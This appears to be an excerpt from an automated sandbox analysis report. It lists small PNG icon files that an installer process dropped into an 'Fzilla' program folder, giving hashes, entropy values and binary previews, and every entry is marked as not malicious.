File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	627
Entropy (8bit):	7.5629652792588455
Encrypted:	false
SSDEEP:	12:6v/7eR5D1hdoV0BBGsX0ESRU42b/qMpYKERl7dZvuivcDbc7AM3zzbeIID/FVK/N:xcV037XGRU7uRxdZDcEcoGIIg
MD5:	0FFFE8F4A29F40CA136728E248DD1C1E
SHA1:	405FFFE66244D695149A18EF9EEE6178EB90E6B4
SHA-256:	9A04046F9DCF003656ECC676AF9CD9C45B56A9FB4CFA11B882ED463C24357A9B
SHA-512:	AAE5C0DD33D47C74624E973467AE41BAF3BF04165EC898A4A20449EDAC8C1C57AC7BBFC938D9BCD3B0344ACB3F5DF6206035B874148BD5CA1A934AF863477184
Malicious:	false
Preview:	.PNG........IHDR................a...:IDATx.....eW.....s.X.V\......j7.16..F....:..q.'....c...M....3.{.RF....[........\|..m#...!.....)S...Y..X.$.7Z..p..<.Z.4M]...eqt......]......K.*NSX..Z$=..$""...A......'V>2...o.QF.. C9.H...1.F.V.)V.....b\|..AY.w..?u.}.......5...Y..%..$.T.B......A.9H)/.....].ZO.....>..h.FB(..w......s1w.u.......E$....!Q....mc.u..H.!4.!"zV..8{....m..V....;#..........e...(....a_..e5.5...ua..)5.).]...6...^ ...hD....c..i....3'...&...b_9x.....p..[.w.FU.G..s...... .Q....!.)....X..$Ai~.7.8q..^.c.-W.y.#w_.Z......LOk.."d...R:@x...3..........IJ.2 .r...>....].....?..vAB"01.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	718
Entropy (8bit):	7.66568734644426
Encrypted:	false
SSDEEP:	12:6v/7zKBVNfEtWdipZ8o7l/pRVgQ8/GmIzrzOzq8P96OWI0y21EzGDOn:Ocf70f7l/p8D+5rz416Lxy21EzGDo
MD5:	D2822A13B177CFFB6A4AA5E9F5901AB9
SHA1:	D99CA9DC63683108AD6C55FA6F3AD28156E31398
SHA-256:	577ADDA90FBF60A98D41D59E36F93CB1BF31B22475E4A3E47E8F890068BA5461
SHA-512:	7711AF1DCE5B188BD7CED47F223F045A829530CC262C5531FFFEAB63682FC735BBDFD5049C8D21313B13155530D977AB118987AE4A395F89FFDAA209C2825BBD
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.%W........26..Ml4.mWI..mcm>c..]o....p...D.\r.].E...#.."R.X..%...?.....GP.6w....7.\|..A.....}...m.\..8vZ.:.v...~.P/\|..b..L.m..0..%.Iy.M.U.\D8. d@..^qT...D.\~A+?.l.i.NU.M..Q(9...2>..H..Z..B.P&...b....st......O..-....Q....5`.R.....H...p.4CJ9Rf....v..RI.........Us.;...&G...{...).~:.l.Zh..O8.x.(M.E9S..xQ./.4]L;..e..b9.:ijp.........n.......F......,.K...`Z..#.jJ~.V;...h?L...?.OG.8..gP.>'....r...nW0.".Z.j...i.n...q(.WR".\|HT..=G.G.......3}..&...C....=..B$.;..z@O.j.^...t...^.,.6.#).T."..H)@X.......{.........v../...i&yZ..!}..}.tK..j...[w..,..gI..y..l#..q}&...KZ..d.6Fo..xZ+.$B..2!e..EG.r........4...P.z.}..@..........P...>+......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.549778571234614
Encrypted:	false
SSDEEP:	12:6v/7gk6w/INTuWgOciQLCPaADSpKFna/XYvFrqaZbrTya5hg9UxHdxbhK9:h/T5tczLCPsoT9TywhgSlbNs
MD5:	44C07EE90F994CE9593EC02E5A0BC74F
SHA1:	76E2F3E6356DEDF0EB0A2550AABF228CD71BAD69
SHA-256:	A3F36BCEF0BE4D07FC6DC90CD3D120045D2B1D5FDC1BE31AC018A8222F7C7435
SHA-512:	5CDBDE92C417344E839ABB8B72F28FBF15894513EB641710F77F56BE1E1415AE9AB13C97D14ACB7D461A820D55226C4168A3A7AD83BDDFCCF388D40FF60F59D5
Malicious:	false
Preview:	.PNG........IHDR................a...0IDATx.b...?.%.:.De.X)G...Z.gp[.(....1.m.F.6qR.6m..i.6.b..mW...... ....7.f..p.\|....}..{........s.......+]_.V]{.u.V..l.}......;.^.....t....3.O.`8T..=.....s..R&..d.{..e........D.a.....l.......{lQ`.#.....}>]?.-....3O}.M........l......!y.$A.!e.X.9Ee.../....1.B.B.u...8............tZ....0&%.L......jCA.<.[..AX.....:........LH...o..].L...C.[U..ej+...]eb...%;....m.....\|i..*.2Q.#.g.......%0....p...s'...;..\|...k.."....V6b+,.C....<..<...'..O......z".kCo.5.e...>}...}.b.].7..'...].]\|xX..v.U.9.w..u.#I.(".!Zc.l....x...$".......;...TS._n..`.<K.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	698
Entropy (8bit):	7.611008810843154
Encrypted:	false
SSDEEP:	12:6v/79dQILaNNH/UwZr58wulaYXYy986qnbT0XXZ+QLJIZAwr3ugu1ZFc:sdQ7NNH/jr5VOHYcJqnbGXZ+WGZp3nue
MD5:	703552F782A5717CE26C9DAA1D515C86
SHA1:	1A306CFB5C147AC96C8353DC17BB95AF0BD9996F
SHA-256:	49FC0B57862ADFEF288D154DCDDC24564B8E588FD8E3AD93549FADCA75851243
SHA-512:	3017CADBB7BFAEB293AA1B2874A59A8981D95077B19A518D486F1C1853FAC319B12813F62AD5709EE4C650BC46D5F89C17DAE3925C746A42BF4B2D31E71D39A1
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?..{.6.Z.3.M.fb..9...u...Tx...Nh.0U..H.."..........G...w./.j......F.1..u.".m.....c.I.o..n.D.w\qb...shX..K..(.(cQ..h.'&'S.4Y+...d.......p.......1....c..l...J.Q.R.Lf..K.L@N..}.~..._.w..tn?#....TZ.QHc.Z..B.P....Oe...X[^...?.go.....x..<8=.-.s...,.Tb.LB...N......-.....i.H;v.....&.B .D(.Z".\.Y.1E.O....6.[...._..!.......,.%=.{rfB".}Vt..r..u.y...w.".$.D.....G...,m........H.1..&....V...x4....i.1.@.i~r....L....8.:.._)5.E\,H..pY...<.Q....@....L..B......a>>.....g#.....].H....9a..#..9.(M.5....2.OM4.%(."!...5...5s...13.M.7._.~..x...^x..sso......lPf..RJ"d.....DT.+.o...}..X......0.Z...(.P.....8.4.g.eZ.t......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.658705084365661
Encrypted:	false
SSDEEP:	12:6v/7n/3RERA7sb/hNGyrffpG6srpt8ccrLtVmDs/5utD9H2wH:wCp5NGWpuurBVfhmD9WK
MD5:	21789851844E0697DD25F6FEA7F438F6
SHA1:	0228B2902B622403E7EE82C2C6B4005D84934174
SHA-256:	D099ACEFE7380030BC4B7765AAE122EA35287D787B195DEF45254C52302C2C3B
SHA-512:	864C3B576D8B08A2AA3875FCD748F50FA156C9249EDC0F51CCA8A2662E08C121D89A6EBE0578E59BC7A70BE6FD016689B746899562EAF301DE4ECF746A1CB99B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....$I...7...}.m.m.V.l.msm...K......./...=...........O6..?.@/.......V>.+..r..........HQ.bF.mF.#.g..a...C.....e....k.O.M\|.;...A."..dV./\s...o......(y.bz..E.......+.VX.q..l.......Z.z.O....._j%~.p/..A%....^/vt....V..}.N.....1....qM.<..l..n....<.w>W.....m)....z9 ............Y&...W...Wr.Ji.6bH#dh=.Yh..\|5.{......#..%0..cX8.-I....XHM.#.7#,..%...._.j.(..p.O..H..$....C...u.9......k.......l..Kp....1.g.....i.z.~77...a..lH.[.[Z7.9.....Y.k..R.az..@.Y....C.n...f<d.x...e.........:.s1.,.0T.<....a.0.....&.z..K^.e.....3.(FA........y>z..W.+......-.l.:.........t..N.?C'.....4uQ1..i..>......X...E.X..M..u.>..gH%:f.t.T.1M..j.iv...z..k.9.......b+..&....{.........@.~.=.^[J.)......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-12RVL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.68841620566773
Encrypted:	false
SSDEEP:	12:6v/7M3aWhIP89TDTtcZ1AGLC8nJmCqD7I5UwTni9R/rcvos/jB32ty/F07uGC:vaeIWT9cXLdJs7IFi9lMLLBPy/C
MD5:	C3B1C6B743EE75D59FDF2B3520A51A99
SHA1:	AFA37020CB99085A97AAC57C072F01BA5077BA47
SHA-256:	6B671369C65F8819629A7A9516BF61B797D14A5523BF13781E6D7BDEA83EA542
SHA-512:	411B2E7CD30981935077CD67ED2B301022F87E360D2621B03F95E043C98689B6141F8ACD5594BBFB68559E2AE89A93901C782C5CD943D4D4F85A3F447F97BB99
Malicious:	false
Preview:	.PNG........IHDR................a...#IDATx.b.0g......?......;..o2....Fm.=...m.m....o.....G....\...D......d.......{.........L,ZP4....^E....#..HV..?.:$.6.....Z...\J.(....P..Z$.,..i"A.>.P.:`Z...O....L7l.c"._......=.O...n.,.......#....M0C.F..Y.......L.E..B..7..}....@.O.u.T@g..q.P(`..kw7..8.w.@.&.[.'...X.....g.{c..].7n..dY6.~.7....?....\....{.q...3.\|Z%-......<........u.;..X..G........\|...._z.../..Om2...!.........b.....1.s..M..a..e9....p....P.l..r<..c...J...x..0.,A.;e....2.G...T......0./I.I...H/.w._..e$. ....K.p../<..c?.47.#..D....[......3...'..q.L...".c.J..]....w....1.t....<....W.../KE..dl..%....x.{.A.9@.....N.rU2..I%..:......6.t....M.H....=.^.^^D....B.UU...^..E.H((...,..........8P.....c..+q. z...o..:...../.H...`.L...u..UW...`...d.m.O./<.........$...B0..{DO.'...Lv...j.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-2AA87.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.658705084365661
Encrypted:	false
SSDEEP:	12:6v/7n/3RERA7sb/hNGyrffpG6srpt8ccrLtVmDs/5utD9H2wH:wCp5NGWpuurBVfhmD9WK
MD5:	21789851844E0697DD25F6FEA7F438F6
SHA1:	0228B2902B622403E7EE82C2C6B4005D84934174
SHA-256:	D099ACEFE7380030BC4B7765AAE122EA35287D787B195DEF45254C52302C2C3B
SHA-512:	864C3B576D8B08A2AA3875FCD748F50FA156C9249EDC0F51CCA8A2662E08C121D89A6EBE0578E59BC7A70BE6FD016689B746899562EAF301DE4ECF746A1CB99B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....$I...7...}.m.m.V.l.msm...K......./...=...........O6..?.@/.......V>.+..r..........HQ.bF.mF.#.g..a...C.....e....k.O.M\|.;...A."..dV./\s...o......(y.bz..E.......+.VX.q..l.......Z.z.O....._j%~.p/..A%....^/vt....V..}.N.....1....qM.<..l..n....<.w>W.....m)....z9 ............Y&...W...Wr.Ji.6bH#dh=.Yh..\|5.{......#..%0..cX8.-I....XHM.#.7#,..%...._.j.(..p.O..H..$....C...u.9......k.......l..Kp....1.g.....i.z.~77...a..lH.[.[Z7.9.....Y.k..R.az..@.Y....C.n...f<d.x...e.........:.s1.,.0T.<....a.0.....&.z..K^.e.....3.(FA........y>z..W.+......-.l.:.........t..N.?C'.....4uQ1..i..>......X...E.X..M..u.>..gH%:f.t.T.1M..j.iv...z..k.9.......b+..&....{.........@.~.=.^[J.)......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-2UA06.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.668342390507137
Encrypted:	false
SSDEEP:	12:6v/7gw2OYXAhDoi2YTPoZUJQm4qZmJYo/OkjHysnlisPucfIRG67avW:jOfh05YTPoZUr4qZ2YKn3EcwRiW
MD5:	A48C634409DE41185AC61958E307FFBC
SHA1:	9E3C1448731809DEDDCB4DC6D91D1265077618D2
SHA-256:	B28F9A3FFEB034D901FCB49FCB045F2E5C11ED45D6E871287924DDD6B18A08BB
SHA-512:	802CA7355A24879446E883AD06AE4FA359041C7E0F63FB66E42C528D83622BED6CC387C7D372186A1AA1C826E07EE85B3FC20722662FAFF4C4AAA94840958B7E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?.%..D033...[.K.....s...........' .......NPP..D......`nhh`.~.^...s#.]]......~.fcm.*""Zjkk. ""R....@.A.O.<...N.0.$Q..^..:.m.sVx...m.m....p.M./=+.J~8f.'.{..i.c.w.9.]...G.& ..!.@7.\|.yH+T...4v..EU...u.K......V.}....4 .8.y".l.+..w....m9..mS.....?........4...[w..q8...U...9...W.........Q...bV.S...j8..Yg..+..".+..V.7.cx...?...J".....AKIR.R.......q......c.vf.u..Ft.i..D...,.e..>...)....yg..k..aGW......~...@".E......[.B.T..].pm.b...A.[.=.'n.06........X.t..ob.:.k.@...k.{..ods.e........\|...95.qZr?.7.c.q\}..$.'.K.e....%.H......H.M.U......Q.nh.;.._`.J.J......>L.^r..<r...0......f..iJ..A\.\...be......r..X@.H.....g.'.. .DA..1........+.J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-3FQO9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	605
Entropy (8bit):	7.519188989318765
Encrypted:	false
SSDEEP:	12:6v/7kkOeUtWUo/z107uJ0gU9T0oU1Q7ZK8aVQTWnydD3J/UJ/8c:9kmtBoJg6WooUtRSAUJ28c
MD5:	3EFD763DBD5243A9292436382AD8E4A4
SHA1:	7483E7CCBAB28F5FA2139D1385EAB5217A9565F7
SHA-256:	592646A30752C8929AB69DA90539E9DB76394957E15401F759302299FB1CE353
SHA-512:	FC2D2926EB8C2B3331E92898195ACF033C0A7BE31135258864A24CDA2E6F3D1B0EB7AA4704726A6DCB44C953AAAEFDF678F9445E34A4898328805874CE1AF57E
Malicious:	false
Preview:	.PNG........IHDR................a...$IDATx....t.@...m.P.m.m.m...msb;9...P..ip....oY..[.:.[....v.X.s..^....?.m..9o........:.......+VK8l2..NG.w.X..-..s..?.".4..}.x............r..oPS..U-[...e.(6..i6.x.x.G.J.5Y.....l....eg+.q..... .P..uZK.3..Q...X..R(=oG.t........t.....O...............X\|......~...[-//..z...)Vg.r..-Z.9.x.n>......{u?6d.........M9.44{D;.UJ..#.lo.e..C6.#.-...=.y..ED.....o..@....,.].AL..n.......@a. ..Sg..9.^...$# RO&-.#&.a.Ma.......2.u.~u...N.\sk..T...,6.$...!dB.../....7.....t...wn...~.5.M....c .........x...\......G.e-..)..[..(.3.{.".."y..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-3KVHP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.676013505524438
Encrypted:	false
SSDEEP:	12:6v/7Uq5TRZ6Ri90RHPIA3/e+uTCCc7iHg2jVrBNbzt9XBQ4gdYFKvJgWF/:7QTl90RHPIAP8OqHg2jJBNbZ9K5LvdZ
MD5:	5785882A04AB6AE21D14ECED3DDADD93
SHA1:	1EC433D5DF1DBFB414872601A583C326896D0A05
SHA-256:	1FC3A4B0A09BDB3020765091D18EE7877952527E9912E9879D22D2602E88B665
SHA-512:	BA0D4F3F8617EE5D78B28177AB38D62A32ED26A2F8A98221690B5269AE2DCD4985CFBB7F860EFC30CD201A483A91BEB4EDBD9B63A33112B49FCBA64F5164B353
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b....Zlc3m...........,...Lhfb......Iu}H..Mr..#..p..=..m.m.m.m.......o.......=x.!.72`..z....:.X."..T....5...S.bo.`....Z...3f.kW:.,...\|cl.......5.0...81....'O2p.&...O...V...\|.i\|......(..f[.n>..1l.6..9..t&GG.]..\|V...}\|(...y.(\|.p%..?t.q.a..1p.\.H...T.....p__..)x.]..:...}zz.K..,64T....2l.Vz4nL;...wg\T..H.ge11%..S......AJ9cb.<.(......=?...I.....4.I;:...11..g/Z..'@....XY.-........\.o .W....."#.....@).7 ..:w.......g.....D[-,.=+R./..K..$....&M.>}.'N...........]..<diyk+..D.........=;....={.{..q(....@;;>.Z.o....ti.Q.........Od.v.......:.v.3Y.7....R........../y......\9.B.:...D.$F...nR..58...X..E..w.\|..0.vR...T._.......K........t......4.\(b.4..(}........2...`...^v.F.LM....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-42Q7G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	687
Entropy (8bit):	7.5885005883581265
Encrypted:	false
SSDEEP:	12:6v/7BfnB5gR7tJwTtKUHxqETo6lONJtneaD83Iv4SRIcW4zCFyYJ3ehYWTCW+uxU:wnB5gVcKUHxqEo6lOLtney84lI3tcYJJ
MD5:	287F785D92FC38D925220CF93943C56F
SHA1:	DD0131291A3C2ACE0FCC430FB0B04110FBE3982D
SHA-256:	9192D0A199BCAE8B1B6DFEF50DB7B42EF7130EE150C7BD14D95F9D7BACA3196D
SHA-512:	54E5B821392ADA43E30F773AE12F1B4F41DACA2BA627A8AFA10F748B316B2A03674404D0AC480A39891D6679A472BE5B1C3EB33FE97463FAD879D6CF7D2FCC2A
Malicious:	false
Preview:	.PNG........IHDR................a...vIDATx.b...2eJ.]..d..leA...$/.k.1...:j.u..m.n..u....6n.l.;...$.s.....2RTTD....o.L&#........\.............E....p.i..`.X`6.a2..R.0??.[.n=...!..`...+..FPEv^\\.........P....e....7...={....i........<.....Y.e.....r9D"....f=......~..e..o`...Wm............k........_.........Htl...V//...2..`zz.4.HMMe.....mFx..B.<.\.7.v..K..KlYt....0Uy@.....:......vwww...Cc....7brbV..E.q9...;.......{0).......z............XQ..F.....O.I........3g...g..^...q,...jV........@{{{....7o.u.4.....<.....R....2.b......yj..YU(.......h>...{.y..w....._.........lmm.5.z.B...9.Z............~.._....*.SB..t...?V.......o...+c2.1?......K......+..............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-6U4P8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.468573641875107
Encrypted:	false
SSDEEP:	12:6v/7pRtyK6b1QgxG6NTrpp+/O+Tf7GC457v6dOklUg6bQy7:MYbbG0nHY/TTgSxrmt7
MD5:	91FB39D65148161EA84FA5B6D807EF95
SHA1:	90BE3D473CC4CA73C3F9096AF4EE43A1BDB185E9
SHA-256:	0080E41B8DB8F6B9B8DAF50B22B0B915F52B065650D9BA648E1E95E824A07DC2
SHA-512:	68211D6AE049E32A5AB0DCFA2D3064CFC28F0BB87206E51CB289087C3A2553C47C92B225678153F7372D3ACD236BB57079DE161EEB3F051CF429AEF3565E7F11
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..........Y....m7.mF.m.v{.m.m[s..8..~....:...ttL{.....m...Y.........wB.....h..%..g...}..pss....Xm`` ......AA......q.A.._...w...+W".........}.\|kk...7.i..[6...g,:y.36o..O...._.r.~.t/>4.._...1.gOL.:.S.u.U*?}..\\..v..H..p....)&~.......t.LCc].U.a.....OK.?G..."I.(....@..E...-\|..#.....2..9[fd.Q.%.0..b..._aeU..b..8.`.(........1.@.7PJ\....u.s.G..Rq4...oe{.4e......I.cA.k.f-..p....4y.t.'I.]..o.x...r..1b<..G.g....... p......).~........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-7NUKM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	718
Entropy (8bit):	7.66568734644426
Encrypted:	false
SSDEEP:	12:6v/7zKBVNfEtWdipZ8o7l/pRVgQ8/GmIzrzOzq8P96OWI0y21EzGDOn:Ocf70f7l/p8D+5rz416Lxy21EzGDo
MD5:	D2822A13B177CFFB6A4AA5E9F5901AB9
SHA1:	D99CA9DC63683108AD6C55FA6F3AD28156E31398
SHA-256:	577ADDA90FBF60A98D41D59E36F93CB1BF31B22475E4A3E47E8F890068BA5461
SHA-512:	7711AF1DCE5B188BD7CED47F223F045A829530CC262C5531FFFEAB63682FC735BBDFD5049C8D21313B13155530D977AB118987AE4A395F89FFDAA209C2825BBD
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3.%W........26..Ml4.mWI..mcm>c..]o....p...D.\r.].E...#.."R.X..%...?.....GP.6w....7.\|..A.....}...m.\..8vZ.:.v...~.P/\|..b..L.m..0..%.Iy.M.U.\D8. d@..^qT...D.\~A+?.l.i.NU.M..Q(9...2>..H..Z..B.P&...b....st......O..-....Q....5`.R.....H...p.4CJ9Rf....v..RI.........Us.;...&G...{...).~:.l.Zh..O8.x.(M.E9S..xQ./.4]L;..e..b9.:ijp.........n.......F......,.K...`Z..#.jJ~.V;...h?L...?.OG.8..gP.>'....r...nW0.".Z.j...i.n...q(.WR".\|HT..=G.G.......3}..&...C....=..B$.;..z@O.j.^...t...^.,.6.#).T."..H)@X.......{.........v../...i&yZ..!}..}.tK..j...[w..,..gI..y..l#..q}&...KZ..d.6Fo..xZ+.$B..2!e..EG.r........4...P.z.}..@..........P...>+......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-8BHJ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	491
Entropy (8bit):	7.421784230916349
Encrypted:	false
SSDEEP:	12:6v/7oO1chcpSuh/a5J40CT2dPFZvl2PvI:o2hiSIa/40FPHAXI
MD5:	1657F37324D96E8DDAFE17C0470E4FA1
SHA1:	AF4F0A7AF9EEBFAC3F21305C081AA1B81D425974
SHA-256:	2B13795B80F9092F3FFAE6E8ED409E05036670463F1062F220F352BFB2DAA2F7
SHA-512:	106C30FB8695A068F39A3B9F5BC98E6F977EADF677157D848CB0E63F5F35082AAF7DD8F3052CAD8264C17EE1EF02F30F1B5C5C2BCEF5390E7A6D538A80437D77
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...%.TQ...?.-.pM8.d.&:4$....w.....e...f.w.....F.2".....L..7.!I.P..k..?..\|..B..p...q.m..3f.Z.v.../_N.<y...~/.d2....m.Z.5Mk.......c....;A...l.B^.b..JE.,.H.......`.4.H..G........0.O$I....8@.(......q.....b... ."Ng.:...<.Q.Fu....,..1.F......7..j...\.7..........I<"..?OP...P.4..;..y~..z.D.e.....{.....n..S.m.(../..9f2..c.D. .b...G\.t..0.wM.22.k...4k...s.u.*...~..KAooo-.......x..2...+$=}}.^..I..w..O...Kp.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-8SSAU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	693
Entropy (8bit):	7.569315771278341
Encrypted:	false
SSDEEP:	12:6v/7l+0iFvW79kiuORSG8jUzv0GbbT868kaCd5KbM+6GbNwsusuTs8Vbpg70jDql:u+JFvW7VfRSJpGbM68kJT+TxwauTs8Ql
MD5:	D8919F4887B7EF96FE6AB720BFB07916
SHA1:	98E80001E84CA27B5982ACBEFCBB12BBC0F77A37
SHA-256:	468BBFB900BF78DB075230A212B8A9F996A410138CB55D7F0FD1BD89B99AF8EE
SHA-512:	37B6C546FC7CF53FA46799CD6427E50027C0F056817791D36048F8FF9D861081220741CCBE572C0D1E1C649D2290DAF5490C61E78F4C83DD3656B43121F301B8
Malicious:	false
Preview:	.PNG........IHDR................a...\|IDATx.b...?....Q....RRR.===}...n.D..c....z.\....7o.?{....o._.~..xx.tl.01 ..f......."...;sss[....\.r.eKKK...Y*..@1...=..;........`.:. WL.<.4333+N/...O.u.........^>.N'....b...,,l.8..(......(.fy{...>....:..Ml......=h......3.....(./.&r............X....:.c....rxs...2.=..Mi{.m..n...C;&.~l...3XKO.d.R..(.d.R..)....L.GU...G~8.P.7..j55..3~#.>J..i.. k..C.C.&.,..&%c........{.Z..O.....i. $.A....]..]V..........Z.;....@.)4.3..A..$..(..W.z....T.+Rw@.."......,.......D.% 9\|..o.... ....X.%l.\|...F.FC{....zH.KiRp.....,.).[..<..c...........>h>...G........(e&(&RT..(.e....)..o.SV...e.0.y.:.bt.c.REK....s...,...IDR..Ge.SB..g.K.:.~.O...V1......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-9HO1P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.737922853414479
Encrypted:	false
SSDEEP:	24:7xLpWwCE/o7E+TBIR1uJv36uMpA6LaFL7t8kR5XzGk+9:7xLp5j/o7vTBIR1clMpA6LaFLKE5XzG9
MD5:	129B2F5BB4E320E9CF884A69C70D17B6
SHA1:	3C8C349692962EBEA63FFB9A246305B64D835C24
SHA-256:	DD81A69D735DD824339B062300BC18C56F9E4AA3B3074901671AB77DBDE228C7
SHA-512:	DF38A2B29C5EDDCB967530D4465EFC70C199F8DF908C36B72DF8701A9714A8B9569AE63ABC4766C8653AACEF99276D2F02D85708655E8A931DBF60AA1ACEEB67
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.].S..:...I3....m...m.\.m......m......}.\|......[.........29...\|.....+G....<:67l.[..G.n.?.h..!.,.....~.b......w.......j.8...{.:....?n.[..5.Tlh.,.n..DQ...S...Q....`..V..&.m5.OV..s.pTey-...3..\|.J...\...R.......a....D......"q..'..\|...-........W.V+.p...7}.{.l...n..]6.z....r{qD...N.C...5............G.....1..h...E..a~ok2.vvfz.e...B!.@.`B..u3.,X...w:=D0_.....K..sdY?'=2.....6....?..^o...8,..{....1.@:.%...8..{I....(.....s.}.....`.4....j..F[S,.....N....tI.$... S.Y.(...+!3.w...E.....9.O...%^.....h.P.I.@Q.......~..V=..?...a.;.9...-..68.y.............^x..g~{..?~.....p8....\|.'q..+1.r...~Gos;....N...`.....(................p..Cc.....b..;.j..>.....f..?.H.h.........G...^6.....B.......d....(a.%..M.y`....m.....\|.R.h.t]/E!h...\|.!\q\|..Qf.J.k.....$.?..7.L.9~...p...][..._...!"+...4"3/{.....m......!.u.(.dN..:..3.,.E...;..3-.iy.(...T.j....y..n<~.8..G.}.B.9\.&!....../..k<u....Qc2t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-9O9CD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.597373393891944
Encrypted:	false
SSDEEP:	12:6v/7IHjWIWbPKBf8yBOmhAPpzxGgebManVOOUkO3vX86+EmUg/AcjhjzpKhkc:iIWbPKB5/IplGlbMat0/867gbZpK/
MD5:	9821B72CFBC8649456B8D52EC5F2E171
SHA1:	C01842EA147CA851B99E02DEFF6A9FA7C3213400
SHA-256:	4B9B3AA0D63BABCB0F9075194EECAB18FEE5D2D852E62A96720627AA3A5A27A8
SHA-512:	A87B2C4F9AC42D73EC4FA908EA47F2F657230D5A200455EF223E6BBCC5C3C487D2E2BF17E9239C8657B0CE2E2674BBD0567BB06457557A59503586B59B5060EF
Malicious:	false
